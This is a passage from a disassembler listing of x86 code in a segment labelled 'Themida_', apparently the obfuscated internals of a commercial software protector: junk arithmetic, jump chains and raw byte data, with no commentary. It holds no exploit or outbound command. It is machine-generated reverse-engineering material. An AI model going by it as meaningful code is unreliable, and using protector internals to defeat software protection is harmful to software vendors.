CODE XREF: Themida_:00548727j push 3EF95096h jmp loc_54818B ; --------------------------------------------------------------------------- loc_54E015: ; CODE XREF: Themida_:00549110j push edx mov edx, 7ADF321Fh sub edx, 53A47085h shr edx, 6 add edx, 35C44536h or edx, 3EE31663h and edx, 4CD244FEh sub edx, 0A6FDAAF1h add ecx, 32F473F6h jmp loc_54F576 ; --------------------------------------------------------------------------- db 5Dh dd 0E9241C8Bh, 0FFFFC92Fh ; --------------------------------------------------------------------------- loc_54E050: ; CODE XREF: Themida_:00546BBAj add esp, 4 pop edx push 72C7h jmp loc_5483DD ; --------------------------------------------------------------------------- dw 4ACh dd 90BEE9F2h, 8B66FFFFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx push eax mov eax, 62081B9Ah inc eax not eax inc eax dec eax add eax, 62081BA0h mov edx, eax pop eax sub ebp, 34CD5FDFh add ebp, edx add ebp, 34CD5FDFh pop edx push ebx sub esp, 4 mov [esp], edi jmp loc_5447E1 ; --------------------------------------------------------------------------- loc_54E09F: ; CODE XREF: Themida_:00544589j xor ecx, eax pop eax shr ecx, 6 shr ecx, 3 shl ecx, 5 inc ecx add ecx, 3F252911h and ecx, 4D2955F6h shr ecx, 4 push edi mov edi, 2C350F14h push eax push ebx mov ebx, 79727983h inc ebx push ebp jmp loc_54F926 ; --------------------------------------------------------------------------- db 89h dd 2B82404h, 0E9000000h, 1F4Eh ; --------------------------------------------------------------------------- loc_54E0DC: ; CODE XREF: Themida_:0054A82Cj pop dword ptr [esp] push esi push edx mov edx, 4 mov esi, edx mov edx, [esp] add esp, 4 jmp loc_549AAE ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 42D00h, 94E90000h, 33FFFFDBh, 3C31243Ch, 243C3324h dd 0FF925EE9h, 0C49E35FFh, 0C5315853h, 5DEB0158h, 4B850h dd 0C3010000h, 0FF75C5E9h, 0B9BD55FFh, 5030B533h, 0E33CBCB8h dd 6E8C133h, 0FFF371E9h, 6BD3BAFFh, 54E90EF5h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E14B: ; CODE XREF: Themida_:00544F65j add esp, 4 sub eax, esi mov esi, [esp] add esp, 4 sub eax, 7A064879h add eax, edi push edi mov edi, 7A064879h add eax, edi jmp loc_54632B ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 78h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E173: ; CODE XREF: Themida_:00548AF7j add edx, esi mov esi, [esp] add esp, 4 sub edx, 4 xor edx, [esp] jmp loc_54BC0A ; --------------------------------------------------------------------------- loc_54E18C: ; CODE XREF: Themida_:00546340j pop edi jmp loc_54BCCD ; --------------------------------------------------------------------------- dw 1C89h dd 0EBBA5224h, 0E94DEB0Dh, 0FFFFF40Ah, 0C103E9C1h, 0E18106E1h dd 6C980ACAh, 81D1F741h, 0F11CBAC1h, 59CB2972h, 7289BD55h dd 0EB01602Ah, 81242C8Bh, 4C4h, 0E9C23100h, 0FFFF5E52h dd 555AD129h, 0FFEFB2E9h, 59CB89FFh, 4EC81h, 14890000h dd 12E95724h, 0F7FFFF92h, 0F7D987D1h, 83D987D3h, 0C8904ECh dd 2414F724h, 0FFB12FE9h, 241489FFh, 4EC81h, 0ECE90000h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E20F: ; CODE XREF: Themida_:005481A4j sub esi, 57A5048Eh jmp loc_54C98D ; --------------------------------------------------------------------------- dw 0C801h dd 608E9h, 2434FF00h, 7031E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E22A: ; CODE XREF: Themida_:0054AC6Bj neg ecx xor ecx, 50D6141Ah mov edi, ecx pop ecx neg edi shl edi, 1 shl edi, 1 jmp loc_54D98A ; --------------------------------------------------------------------------- dd 9D1C77FFh, 4105866h, 0D3E99C24h, 80FFFF5Dh, 0B60F3BEBh dd 87048DC0h, 59BA68h, 24048900h, 0FF5DBDE9h, 0DDEF81FFh dd 81414C77h, 46553AE7h, 7A9DE92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E276: ; CODE XREF: Themida_:00547F2Fj pop esi pop dword ptr [esp] pop esp btr [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- dw 2C31h dd 0F563E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E28E: ; CODE XREF: Themida_:00549AA0j push eax mov eax, 4 add ebp, 37D561A7h jmp loc_54935B ; --------------------------------------------------------------------------- db 89h dd 0E189240Ch, 4C181h, 0C1830000h, 240C3304h, 33240C31h dd 685C240Ch, 27D7h, 0E9240489h, 0FFFF5D5Eh, 4BE56h, 0ED810000h dd 20E939E0h, 90E9F501h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E2D7: ; CODE XREF: Themida_:0054BDE6j sub eax, 0DC47A26Eh and ecx, eax push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] jmp loc_545704 ; --------------------------------------------------------------------------- db 81h dd 699B1AEDh, 0E63AE90Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E302: ; CODE XREF: Themida_:0054706Dj dec edi and edi, 7CFA6349h dec edi add edi, 97BFBEBAh push edi sub dword ptr [esp], offset byte_4A049D pop ecx jmp loc_5498B7 ; --------------------------------------------------------------------------- dw 93BBh dd 816BC954h, 0EC336FE3h, 2EC38172h, 1BC1B02h, 61685BDAh dd 8900004Dh, 44BE2434h, 0E929B676h, 0FFFF9E65h, 2B8h dd 0FFC50100h, 26E92434h, 5A000019h, 577D0105h, 2DF80109h dd 9577D01h, 2F29A52Dh, 0A87BE959h, 0FD89FFFFh, 81243C8Bh dd 4C4h, 0E9E92900h, 0FFFF6FB5h ; --------------------------------------------------------------------------- loc_54E37C: ; CODE XREF: Themida_:005495C1j shl edx, 1 push 40BAh mov [esp], ebp mov ebp, 524E1B4Eh xchg eax, ebp not eax jmp loc_54B912 ; --------------------------------------------------------------------------- db 81h dd 0A0338FC7h, 0E9575038h, 0FFFF915Ah ; --------------------------------------------------------------------------- loc_54E3A0: ; CODE XREF: Themida_:005452CEj mov esp, [esp] mov [esp], ecx push ebx mov bl, 8Bh mov cl, 0C6h jmp loc_54EE25 ; --------------------------------------------------------------------------- dd 0C681EE01h, 5732257Dh, 2BD555Dh, 1000000h, 3E685DEEh dd 89000013h, 74FF2434h, 0F6E90424h, 0ADFFFFCBh, 0FF98EDE9h dd 0E95D5EFFh, 0FFFF5C42h, 6CE9C361h, 0FFFFFF8Ch, 669D1C77h dd 24041858h, 5C2CE99Ch, 0EA83FFFFh, 24148704h, 8924248Bh dd 0E389241Ch, 5FB868h, 24148900h, 4BAh, 8BD30100h, 0C4812414h dd 4, 4BA52h, 0D3010000h, 241C335Ah, 33241C31h, 248B241Ch dd 24043124h, 0FF5BE9E9h, 0E9E829FFh, 0FFFF87DDh ; --------------------------------------------------------------------------- loc_54E440: ; CODE XREF: Themida_:0054D749j mov ecx, 69C36736h add ebx, ecx jmp loc_548093 ; --------------------------------------------------------------------------- dd 7289EB81h, 0F7E9602Ah, 66000015h, 1240483h, 81665B66h dd 0E96858EBh, 0FFFF757Ah, 8124148Bh, 4C4h, 59CA0100h dd 5A1C5709h, 0FFA7A3E9h, 5FF801FFh, 0E3FFE957h, 0C481FFFFh dd 4, 4C481h, 0E2810000h, 3A2E2EA4h, 8108E2C1h, 0FBA034F2h dd 0E9D78956h, 987h, 0C181E189h, 4, 8704C183h, 89E9240Ch db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E4BB: ; CODE XREF: Themida_:005449A3j pop edx push 71B2h mov [esp], edi push eax push 19B57A6Ah pop eax push eax jmp loc_54F414 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 4C381h, 0E9570000h, 0FFFFA508h, 0D3F7DBF7h, 8105EBC1h dd 12BDE6C3h, 0E9DA8934h, 0FFFF6259h, 5F11C781h, 0ECE95934h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E4FF: ; CODE XREF: Themida_:0054421Dj sub al, 0D0h sub al, dl add al, 0D0h mov edx, [esp] add esp, 4 add al, 69h sub al, dh sub al, 69h add al, 0E6h jmp loc_54F131 ; --------------------------------------------------------------------------- dd 0D324248Bh, 0E99C2424h, 0FFFF5AFEh ; --------------------------------------------------------------------------- loc_54E524: ; CODE XREF: Themida_:0054FDB1j add ecx, edx pop edx add ecx, 4 push 2EF0h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_548F0A ; --------------------------------------------------------------------------- dw 0C87h dd 7551E924h, 4B8FFFFh, 0E9000000h, 7C3h ; --------------------------------------------------------------------------- loc_54E550: ; CODE XREF: Themida_:0054B8D8j sub edi, eax mov eax, [esp] add esp, 4 add ecx, edi jmp loc_54FA13 ; --------------------------------------------------------------------------- aI4 db '4$ž',0 align 4 dd 0F3890000h, 0FF8C2FE9h, 0F8015DFFh, 81243C8Bh, 4C4h dd 2C08300h, 0FFC117E9h, 55FC68FFh, 24890000h, 24048124h dd 4, 4BB5359h, 1000000h, 0EF38E9D9h, 92B8FFFFh, 0F755934Fh dd 3FBF57D0h, 19E2058h, 0B2E95FF8h, 81FFFFF1h, 4C4h, 4BD5500h dd 29000000h, 0FF525DEAh, 0E9042474h, 0FFFF79D9h, 0E9242C89h dd 0FFFFBEF1h, 4C281h, 0C2830000h, 24143304h, 33241431h dd 85E92414h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E5EF: ; CODE XREF: Themida_:00545231j push 7283339Ah pop ebx and ebx, 6F657508h inc ebx sub ebx, 0C67C653h jmp loc_5446DF ; --------------------------------------------------------------------------- db 55h dd 0FFEEB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E60D: ; CODE XREF: Themida_:0054D1D8j mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 add ebp, 4 jmp loc_54D759 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 61FABE56h, 0F6810BBDh, 790B7ECBh, 0FFA72EE9h, 242C33FFh dd 6624248Bh, 5624048Bh, 24348B54h, 0FFCE4CE9h, 243C89FFh dd 381003BFh, 9379E929h, 8B66FFFFh, 0EC83240Ch, 240C8904h dd 19E9E189h, 66FFFFBDh, 660EB268h, 83242489h, 148904ECh dd 725EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E67E: ; CODE XREF: Themida_:0054B8C9j mov edx, 294903E3h mov ebx, 23F733E1h add ebx, edx mov edx, [esp] add esp, 4 mov edi, 0EB5C0EA4h add edi, ebx pop ebx shl edi, 7 and edi, 62F04CCBh push edx mov edx, 27EE4A96h jmp loc_549832 ; --------------------------------------------------------------------------- dd 635BB951h, 0C181540Ah, 6217330Eh, 0A59CC181h, 48E96344h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E6C3: ; CODE XREF: Themida_:00544C21j pop ebx pop edx push ecx push ebx pop ecx pop ebx push ecx push dword ptr [esp+4] push dword ptr [esp] jmp loc_549D8A ; --------------------------------------------------------------------------- loc_54E6D6: ; CODE XREF: Themida_:00545C0Bj push edi jmp loc_5452EE ; --------------------------------------------------------------------------- loc_54E6DC: ; CODE XREF: Themida_:00548F8Cj mov ecx, 89597ABFh mov eax, ecx pop ecx sub ebp, eax pop eax sub [edi+24h], ebp pop ebp loc_54E6EB: ; CODE XREF: Themida_:0054E99Dj push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push dword ptr [esp] pop eax push 11EEh mov [esp], edx jmp loc_54DC8D ; --------------------------------------------------------------------------- dw 0EE83h dd 1807E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E71A: ; CODE XREF: Themida_:00546AFBj push 42A4h jmp loc_54EBB9 ; --------------------------------------------------------------------------- loc_54E724: ; CODE XREF: Themida_:00546313j inc edx shr edx, 5 xor edx, 0BD29002h jmp loc_54AF8B ; --------------------------------------------------------------------------- db 52h dd 0F00065B6h, 66D8285Ah, 65B25251h, 0EDE9D588h, 66FFFFECh dd 68240C8Bh, 650Ch, 0FFC33FE9h, 0D830ACFFh, 52E18951h dd 0FFF2F8E9h, 240483FFh, 0B9515B04h, 29AF2370h, 415AE181h dd 0E98139FAh, 29AA014Ch, 0FFFF2FE9h, 243433FFh, 33243431h dd 248B2434h, 2434FF24h, 8324048Bh, 48904ECh, 5E08924h dd 4, 8704E883h, 248B2404h, 242C8924h, 0C581E589h, 4, 0FFAE7EE9h dd 24248BFFh, 24148B66h, 4EC8153h, 89000000h, 4832424h dd 815B0424h, 4C3h, 6F45E900h, 0E929FFFFh, 4EC835Dh, 89243C89h dd 30B951CFh, 1000000h, 0F88950D1h, 2BAE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E7F2: ; CODE XREF: Themida_:00545208j mov esi, 5AF115A7h sub esi, 592B3410h dec esi sub esi, 8CC21DAh inc esi jmp loc_54A4BE ; --------------------------------------------------------------------------- dw 8966h dd 0FF66242Ch, 66022474h, 50242C8Bh, 0FF9DE1E9h, 14895CFFh dd 0E7895724h, 0FF6BF6E9h, 41DC05FFh, 6EE97F3Fh db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E833: ; CODE XREF: Themida_:0054A300j pop esp shr ecx, 6 push eax mov eax, esp push 7BCAh mov [esp], edx push ebx push 319B1A42h pop ebx mov edx, 0DEEFF442h sub edx, 327808B6h add edx, ebx add edx, 327808B6h jmp loc_546003 ; --------------------------------------------------------------------------- db 57h, 53h, 0BBh dd 3B5550E3h, 7772C381h, 0BE5622F9h, 28B66AF2h, 81DEF74Eh dd 6112D8E6h, 0D2C68161h, 9CD744Dh, 0E3C15EF3h, 6EBC102h dd 2BACEB81h, 0BD550A12h, 0AE869E9h, 36ECF581h, 0EB018988h dd 0FFE3B5E9h, 24048FFFh, 24148B5Ch, 5FE95451h, 66FFFF7Dh dd 663B62BEh, 82E9D6F7h, 89000007h, 0BA522424h, 4, 4245401h dd 0E6EE9h, 241C8700h, 0FFA70CE9h, 0D3EE81FFh, 5711113Dh dd 9B270FBFh, 0EF874723h, 81EF8745h, 9806B6E7h, 14F78158h dd 976421Dh, 814E5FFEh, 4376ABF6h, 5EF1891Fh, 764868h dd 24348900h, 0D6622368h, 0CE815E13h, 346C32EDh, 5202E6C1h dd 0D239ABAh, 8E2C12Bh, 0F281D2F7h, 10965E68h, 75C2814Ah dd 0E99BF246h, 0FFFFF29Fh ; --------------------------------------------------------------------------- loc_54E938: ; CODE XREF: Themida_:005464F0j push ebx mov ebx, esp push edx mov edx, 1AE332Ch jmp loc_54B2F7 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FF5F92E9h, 2724BAFFh, 0F74A5A61h, 0FFE281D2h, 816C0707h dd 0B36698C2h, 0ECD3E91Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E96A: ; CODE XREF: Themida_:0054FB31j add dword ptr [esp+4], 14BA506Ah jmp loc_548945 ; --------------------------------------------------------------------------- db 51h dd 0B270F3B9h, 95EBE91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E982: ; CODE XREF: Themida_:00547717j mov ecx, 4 add [esp+4], ecx jmp loc_54CDE7 ; --------------------------------------------------------------------------- loc_54E990: ; CODE XREF: Themida_:00544ED1j pop edi add ebp, 4 xchg ebp, [esp] pop esp or eax, eax jz loc_54E6EB push dword ptr [edi+1Ch] mov ecx, [esp] push edx push esp pop edx push 2C54h mov [esp], ebx push edi jmp loc_54A1D9 ; --------------------------------------------------------------------------- dw 8B66h dd 0F3682404h, 89000022h, 5E542434h, 4B951h, 0E9510000h dd 0FFFF8B31h, 24048966h, 8904EC83h, 0ECB62414h, 516EC680h dd 3EE9F188h, 81FFFFC8h, 3DAE6BF7h, 5FFE8918h, 5C77CE81h dd 0BA527772h, 7F777C7Bh, 0E95AD629h, 0FFFF5B0Eh, 4C481h dd 1C870000h, 24248B24h, 0FF6493E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EA19: ; CODE XREF: Themida_:00544D55j push edx mov edx, 4 add ebp, edx pop edx jmp loc_54ED6D ; --------------------------------------------------------------------------- db 0BDh dd 197629D1h, 0EDD4E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA32: ; CODE XREF: Themida_:0054573Ej mov esp, [esp] jmp loc_54FD3E ; --------------------------------------------------------------------------- aQrXTvbt db 'QRşĺ`âvâ ',0 db 81h, 15h, 0C1h dd 0EAC107EAh, 87CA8102h, 420A4C3Ch, 4524EA81h, 0D189EF20h dd 244C015Ah, 240C8B04h, 4C481h, 0B9510000h, 27D11F65h dd 4244C01h, 24048159h, 4C540C33h, 81240401h, 0C33242Ch dd 2C814C54h, 0D11F6524h, 0BB535027h, 1B2E3764h, 7F568h dd 241C8900h, 0FFCACEE9h, 2434FFFFh, 0E92434FFh, 0FFFF682Fh dd 0BBh, 0E9CB0100h, 0FFFFBB21h ; --------------------------------------------------------------------------- loc_54EAB8: ; CODE XREF: Themida_:00548442j push ebx push eax mov al, 62h push ecx jmp loc_549F31 ; --------------------------------------------------------------------------- dw 0C509h dd 7A67E958h, 0F589FFFFh, 0C4E9595Eh, 57FFFFB0h, 0D32FABBFh dd 0C7814F55h, 71811418h, 0BC40C781h, 0FD8938ABh, 0E9EE015Fh dd 0FFFF5DC4h, 69E96B04h, 51FFFF68h, 11E95954h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EAFF: ; CODE XREF: Themida_:0054D89Aj pop edx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_54A1B4 ; --------------------------------------------------------------------------- dw 489h dd 0A1C4E924h, 0E181FFFFh, 265935C8h, 8105E1C1h, 2E3BD1E1h dd 12E98107h, 299D33EAh, 0CE0159CEh, 36EEC681h, 685964CEh dd 3733h, 0BD242C89h, 2, 0FFC6F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EB49: ; CODE XREF: Themida_:00549D07j pop esp add eax, ebx pop ebx jmp loc_54A2F8 ; --------------------------------------------------------------------------- loc_54EB52: ; CODE XREF: Themida_:00548A4Dj mov ebp, esp jmp loc_545ECA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 1E68EF81h, 0B8500A0Ah, 2B385413h, 0FFA62FE9h, 815F54FFh dd 4C7h, 2C78100h, 83000000h, 0BCE904ECh, 0ACFFFF68h, 5352D830h dd 0E9508CB7h, 0FFFFE0B2h, 0FF548DE9h, 4C281FFh, 81000000h dd 4ECh, 241C8900h, 4EC81h, 3C890000h, 2BF24h, 0FB890000h dd 0FF8A44E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EBB9: ; CODE XREF: Themida_:0054E71Fj mov [esp], esi push 16FC26FFh mov esi, [esp] add esp, 4 sub esi, 0F5CCDC00h mov eax, esi pop esi jmp loc_54BA08 ; --------------------------------------------------------------------------- dd 2434FF54h, 4C4815Bh, 55000000h, 4BDh, 0E9EB0100h, 0FFFFD47Bh dd 1ED8166h, 0E5816601h, 81665449h, 666FA6E5h, 251BC581h dd 4EC81h, 7CE90000h, 52FFFF9Fh, 0D028EFB2h, 8124148Bh dd 4C4h, 28800400h, 80B151D8h, 0C8285F2Ch, 66595F04h, 0E93DBD68h dd 0FFFFB719h, 42474FFh, 0FF9467E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EC3D: ; CODE XREF: Themida_:0054A5FBj add ebx, 4 xchg ebx, [esp] mov esp, [esp] push ebp push esi mov esi, 278B734Ch or esi, 67825B92h push edi mov edi, 231031F7h sub esi, edi pop edi push eax push esi mov esi, 3F905F16h shl esi, 3 shr esi, 1 sub esi, 9FF0721h mov eax, esi pop esi shl eax, 3 jmp loc_547499 ; --------------------------------------------------------------------------- dd 2434FF54h, 0FF8049E9h, 0C8B66FFh, 49E95024h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC8F: ; CODE XREF: Themida_:0054ED2Fj xor ecx, [esp] pop esp mov [esp], edi push edx mov edx, 533D6C4Dh jmp loc_54BEFE ; --------------------------------------------------------------------------- db 58h, 87h, 14h dd 24248B24h, 2424D366h, 5370E99Ch, 8B66FFFFh, 5453240Ch dd 0D67E9h db 0 ; --------------------------------------------------------------------------- loc_54ECBD: ; CODE XREF: Themida_:00549B6Bj shr edx, 1 cmp eax, edx jz loc_547A49 mov dword ptr [edi+20h], 38090F14h shr dword ptr [edi+20h], 1 shl dword ptr [edi+20h], 4 shl dword ptr [edi+20h], 6 sub esp, 4 mov [esp], ebx jmp loc_546BA8 ; --------------------------------------------------------------------------- dd 4C1815Dh, 87000000h, 0E95C240Ch, 0DD2h, 8705E7C1h, 14F755EFh dd 0EF875D24h, 5347CF81h, 0EF812894h, 0FAF7D3DBh, 0D5E9F901h dd 1FFFF67h, 0FF5758C7h, 5F042474h, 5C24048Fh, 9C240401h dd 0FF52F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54ED29: ; CODE XREF: Themida_:005476FBj xor ecx, [esp] xor [esp], ecx jmp loc_54EC8F ; --------------------------------------------------------------------------- dd 57242489h, 4BFh, 0F5BE5600h, 295BBF30h, 5E082474h, 4246C81h dd 66DD24EEh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, 436E2128h jmp loc_54FB1C ; --------------------------------------------------------------------------- loc_54ED6D: ; CODE XREF: Themida_:0054EA22j add ebp, 4 jmp loc_54D522 ; --------------------------------------------------------------------------- db 31h, 3Ch, 24h dd 5C243C33h, 24048B66h, 73DA68h, 242C8900h, 0C581E589h dd 4, 8904EC83h, 3EE9241Ch, 21FFFF97h, 0BA5258C3h, 0FFFFFFFFh dd 815AD329h, 200865F3h, 5BD8012Ch, 0FFBAABE9h, 5FF829FFh dd 31240433h, 1FE92404h, 0E9FFFF57h, 0FFFF525Ah, 7D139DBFh dd 4A096827h, 3C890000h, 24048124h, 8E656DDh, 0DDED815Dh dd 0E908E656h, 0FFFF596Eh ; --------------------------------------------------------------------------- loc_54EDE8: ; CODE XREF: Themida_:00545CBCj push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5445D5 ; --------------------------------------------------------------------------- loc_54EDF9: ; CODE XREF: Themida_:0054FF1Cj mov edi, 346461C9h inc edi not edi jmp loc_54FE8B ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 9DB9515Ch, 4130D927h dd 0FFD0BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EE25: ; CODE XREF: Themida_:0054E3ABj add cl, bl pop ebx sub al, 50h jmp loc_547EB0 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 4EC8357h, 0BB241C89h, 4A64651Fh, 0FFC38343h dd 0ABE3C381h, 0DF89F36Bh, 7B0FE95Bh, 0C481FFFFh, 4, 6EDFE955h dd 835FFFFFh, 0C3304C1h, 240C3124h, 0FF8EF9E9h, 4BBFFh dd 0D8010000h, 83241C8Bh, 43304C4h, 24043124h, 8B240433h dd 92682424h, 89000025h, 0E9572404h, 0FFFF5CA0h, 402AE981h dd 0CE212E00h, 14BE9h, 814E4600h, 484C5FC6h, 0E510E952h dd 0C89FFFFh, 7BE6E924h, 0F868FFFFh, 0E9000047h, 0FFFFF70Ch dd 0E9243489h, 0FFFFCFA1h ; --------------------------------------------------------------------------- loc_54EECC: ; CODE XREF: Themida_:0054C553j jmp loc_544022 ; --------------------------------------------------------------------------- db 52h, 0E9h, 8Ch dd 5EFFFF91h, 126668h, 5EC0E900h, 3166FFFFh, 0E99C2404h dd 0FFFF5136h, 42474FFh, 0D2D5E95Dh, 7F88FFFFh, 241C8B38h dd 0FF04C483h, 148B2434h, 4C48124h, 51000000h, 5DE9E189h dd 50FFFFD8h, 1331BF57h, 0EF834BE7h, 30C781FFh, 5235FD2Dh dd 9A7EE5BAh, 5AD7092Dh, 9EF814Fh, 817ED138h, 2A13F7F7h dd 0E9F8890Ch, 0FFFF5C7Bh ; --------------------------------------------------------------------------- loc_54EF40: ; CODE XREF: Themida_:005473C7j mov al, 0BAh add al, 25h sub al, 0F1h sub bl, 89h add bl, al add bl, 89h mov ax, [esp] push edx mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] jmp loc_5493B1 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 47E95524h, 59FFFF6Ch, 0FFD94CE9h, 3DEFBAFFh, 0C28155F5h dd 5254485Eh, 65A5BD55h, 17E94843h, 0F7FFFF7Bh, 87D387D2h dd 77E951DEh, 0FEFFFFD1h, 11F480CCh, 0EBE9E320h, 5AFFFFACh dd 0FFA0A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EFAD: ; CODE XREF: Themida_:005475A3j pop ecx add esp, 4 push edx mov edx, esp jmp loc_544188 ; --------------------------------------------------------------------------- db 51h, 0B9h, 4Fh dd 81320B0Ch, 0D9DE73E9h, 59CD313Bh, 0E95DE829h, 0FFFF5052h ; --------------------------------------------------------------------------- loc_54EFD0: ; CODE XREF: Themida_:00545B18j push edi mov edi, 30865D68h push ecx push edx mov edx, 1DC755C2h or edx, 6225295Bh not edx xor edx, 976BADACh jmp loc_54AF9E ; --------------------------------------------------------------------------- dd 0B5A2E959h, 489FFFFh, 5E08924h, 4, 8704C083h, 248B2404h dd 0E1B5E924h, 9805FFFFh, 10F971Eh, 703FE9C8h, 65B3FFFFh dd 47C380h, 0D5305BDAh, 2FED805Ah, 0C8BE828h, 4C48124h dd 53000000h, 9D3AE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F03A: ; CODE XREF: Themida_:0054FB54j push edx push esi jmp loc_547730 ; --------------------------------------------------------------------------- db 66h, 0F7h, 0DEh dd 0A66E9h, 73063500h, 0E1056190h, 0C1553815h, 653506E8h dd 0E92E10FBh, 0FFFF9EC9h, 873862D1h, 8745386Ah, 62C1386Ah dd 42810738h, 76C4E138h, 386281C3h, 383B49A4h, 50384AFFh dd 538BBA52h, 0C3B84C07h, 54C0753h, 13A56621h, 0BD55D029h dd 4D047597h, 3FB6CD81h, 0F5814FEEh, 21D962F1h, 0B725ED81h dd 8AE95A91h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F0AF: ; CODE XREF: Themida_:0054C33Aj mov [esp], ebp push ecx mov ecx, 6D717622h inc ecx sub ecx, 1 shr ecx, 6 xor ecx, 0AB7CCEEh push ecx pop ebp mov ecx, [esp] add esp, 4 mov ecx, 3B353C98h add ecx, 0A4A3976h not ecx push edx mov edx, 601C73CEh add ecx, edx pop edx jmp loc_5457F3 ; --------------------------------------------------------------------------- dw 0BA52h dd 586944D1h, 0FFBFF2E9h, 8AE95AFFh, 68FFFFA8h, 207Dh dd 0C58E9h, 0CF6800h, 4890000h, 845B424h, 24048BE5h, 8004C483h dd 9CE9C1CDh db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54DF74 ; --------------------------------------------------------------------------- loc_54F131: ; CODE XREF: Themida_:0054E513j mov edx, [esp] jmp loc_54B435 ; --------------------------------------------------------------------------- db 5Eh, 83h, 0C7h dd 243C8704h, 5724248Bh, 0FF2434FFh, 685A2434h, 71D4h dd 0E9241C89h, 0FFFF787Bh, 240C8B66h, 0FFB59CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F161: ; CODE XREF: Themida_:00544511j xor esi, 779076DAh jmp loc_549A3E ; --------------------------------------------------------------------------- dd 46E9D5F7h, 81FFFFFEh, 62CB242Ch, 3C293AB4h, 24048124h dd 3AB462CBh, 36EF815Fh, 0E9197D40h, 0FFFFBE15h ; --------------------------------------------------------------------------- loc_54F190: ; CODE XREF: Themida_:0054656Fj xor ebx, ecx xor ecx, ebx jmp loc_54BEEC ; --------------------------------------------------------------------------- db 0E9h, 84h, 4Eh dd 0EDB8FFFFh, 4849711Ch, 0FF5B08E9h, 0E08950FFh, 0FFEC4BE9h dd 0EB015FFFh, 1E18EB81h, 2C8B1DA7h, 4C48124h, 1000000h dd 6CEB81C3h, 51747575h, 0FF9CA7E9h, 2434FFFFh, 5024048Bh dd 405E089h, 5000000h, 4, 8B240487h, 89562424h, 4C681E6h dd 51000000h, 0FF5B49E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F1F9: ; CODE XREF: Themida_:0054F330j push small 763h mov [esp], cx mov ch, bh not ch push eax mov al, ch mov bh, al pop eax jmp loc_547109 ; --------------------------------------------------------------------------- dd 79E9EE89h, 0C1FFFFD3h, 930D05E0h, 519BD43h, 0E642A411h dd 8158C589h, 0AC7A14EEh, 0A4EE814Dh, 12B1B64h, 0A4C681EEh dd 812B1B64h, 0AC7A14C6h, 78E95D4Dh, 66FFFF9Ch, 4246C29h dd 1665D66h, 0E902244Ch, 0FFFF90B9h ; --------------------------------------------------------------------------- loc_54F258: ; CODE XREF: Themida_:00546BE3j sub esp, 4 jmp loc_549386 ; --------------------------------------------------------------------------- dd 0B1515266h, 0E1CE945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F26A: ; CODE XREF: Themida_:0054A749j mov eax, [esp] jmp loc_544A5B ; --------------------------------------------------------------------------- loc_54F272: ; CODE XREF: Themida_:00544B5Aj mov [esp], esi push 20000h mov esi, [esp] push edx push esp pop edx add edx, 4 jmp loc_548EAA ; --------------------------------------------------------------------------- db 0B7h dd 66FA0838h, 96CA805Bh, 9EEE9h, 5EF13100h, 0C8BCE21h dd 4C48324h, 0FFE996E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F2A9: ; CODE XREF: 